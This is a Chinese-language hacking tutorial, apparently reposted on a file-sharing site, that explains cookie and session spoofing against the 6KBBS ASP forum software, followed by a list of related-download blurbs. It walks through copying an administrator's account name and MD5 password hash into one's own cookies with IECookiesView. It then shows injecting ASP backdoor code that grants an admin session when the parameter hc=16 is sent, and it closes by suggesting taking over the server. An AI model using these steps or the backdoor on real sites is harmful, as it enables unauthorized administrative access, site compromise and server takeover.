cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录。
那么什么是cookies呢,我这里给大家一个专业的解释,cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能 被创建这个cookies的站点读回,约由255个字符组成,仅占4kb硬盘空间。当用户正在浏览某站点时,它储存于用户机的随机存取存储器ram中,退 出浏览器后,它储存于用户的硬盘中。储存在cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地址 等。但是许多web站点使用cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。
什么是Session?当一个访问者来到你的网站的时候一个Session就开始了,当他离开的时候Session就结束了。本质是来说,cookie是和浏览器有关系,而Session变量就可以存一些资源变量在服务器上面。
正题:
我们先里看个实例,在6KBBS的login.asp找到113—124行,得到以下代码:
if
[url=javascript:][color=#949494]Copy code[/color][/url]
login=false then tl=" 登 陆 失 败" mes=mes&"
·返回重新填写" else response.cookies(prefix)("lgname")
=lgname session(prefix"lgname")=
lgname response.cookies(prefix)("lgpwd")=
lgpwd response.cookies(prefix)("lgtype")=
lgtype response.cookies(prefix)("lgcook")=
cook if cook>0 then response.cookies(prefix).expires=
date+cook end if
我们来分析下,如果你登录失败了他就显示你登录失败并引导你返回上一页,否则就给你写进cookies里面,如果你的cookies有的话那么你的过期时间就是你cookies的过期时间——也就是你保存cookies的时间了。
这时,我们想到的是如果里面的信息是admin的,那一不就成了以管理员登陆了吗?
首先,我们先去注册一个用户,然后登录,有个cookies保存的选项,一定要选哦。我选择是保存一个月,因为保存了才会再你本机上写进它的 cookies。接着,打开数据库,看admin表里面有什么东西,别的不管,你只要那个bd为16的那个人就行了。有可能没有,你可以到他们论坛去逛一下,看管理员是谁,然后在数据库里面拿他的账号和加密的密码来欺骗。
打开iecookiesview,这款软件是拿来察看和修改本机的cookies的,很方便我们的cookies欺骗入侵。
在iecookiesview 里找到你要欺骗的那个网站,看到了吗?有你的用户名和md5加密的密码,我们吧这两项改为管理员的,就是把刚才数据库里面的管理员账号和md5加密的密码代替你自己的。点击“更改cookies”,打开一个新的ie,然后再去访问那个论坛,看到没有?你现在已经是管理员了。
接着,麻烦的事出现了,后台登陆并不是以cookies来实现的,而是以session实现的 ,所以我们同样来欺骗session;
首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后 给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果 相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的 话就引导你回到登录页面。
找到manage/admin.asp,发现验证内容为:
[url=javascript:][color=#949494]Copy code[/color][/url]
...
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp" 很容易就知道如果没有获得验证就会出现两个session值:
[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout
session("AdminName")=rs("username") 试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下:
[url=javascript:][color=#949494]Copy code[/color][/url]
dim id
id=trim(request("hc"))
if id="16" then
session("AdminName")="admin"
end if 分析上段代码,有个不定值--admin,可以根据实际情况来设置,不一定是admin;可以在一些不常去的页面来登陆,如: FriendSite.asp?hc=16返回时页面没有出现异样,这就行了,然后再次登陆manage/admin.asp,你会发现,你已经进入后台 了。然后可以提权得弄服务器了。
分享到:
相关推荐
Session与CookiesSession与CookiesSession与Cookies
Session和Cookies的区别
Cookies欺骗 用于检测网站漏洞 请勿用于非法用途
Cookies欺骗教程 Cookies欺骗教程(图).php (图).php
php_session与cookie会员登录验证实例
前段时间由于被过度访问,致使IIS崩溃,所以自己写了个asp.net网站页面防刷新的代码,分 Cookies版和Session版供大家分享
【猫客工作室】xss跨站进行cookies欺骗进后台
基于cookies的攻击与防御技术,讲述cookies攻击原理,攻击案例,以及防御技术
Application session cookies用法
查找关于COOKIES入侵的方法及工具.pdf
测试的过程中,经常会有这样的疑惑,什么是Cookie,什么是Session什么是Token,三者的区别又是什么,又是怎么使用的呢,这个文档跟大家详细介绍下三者的区别与使用
1. cookies 和 session 的区别?(1).md
ASP.NET状态管理(Cookies,Session,ViewState,Application...)
extjs4.2 cookies实例
老外的基于jQuery的网页层拖动实例,自动寻找落点。
session机制与cookie机制。 这个是在人家博客上摘下来的,感觉写得不错,讲得很容易理解。
代码同时可以用来验证Session和Cookies的登录的方式,只要稍微改动一下就可以再增加一个允许用户勾选的是否记住登录状态的选项。 下面是验证 /// /// 新的用户登录方式包括Session登录方式和Cookies登录方式 ///...
本文实例讲述了Yii框架操作cookie与session的方法。分享给大家供大家参考,具体如下: cookie操作 设置cookie //获取response->cookies组件 $cookies = \Yii::$app->response->cookies; //设置cookie数组 $array_...
本文实例讲述了asp.net网站防恶意刷新的Cookies与Session解决方法,是WEB程序设计中非常实用的技巧。分享给大家供大家参考。具体实现方法如下: Session版实现方法: public double time; public const int ...
关于asp.net的需要讲解,对session and cookies的讲解很精简。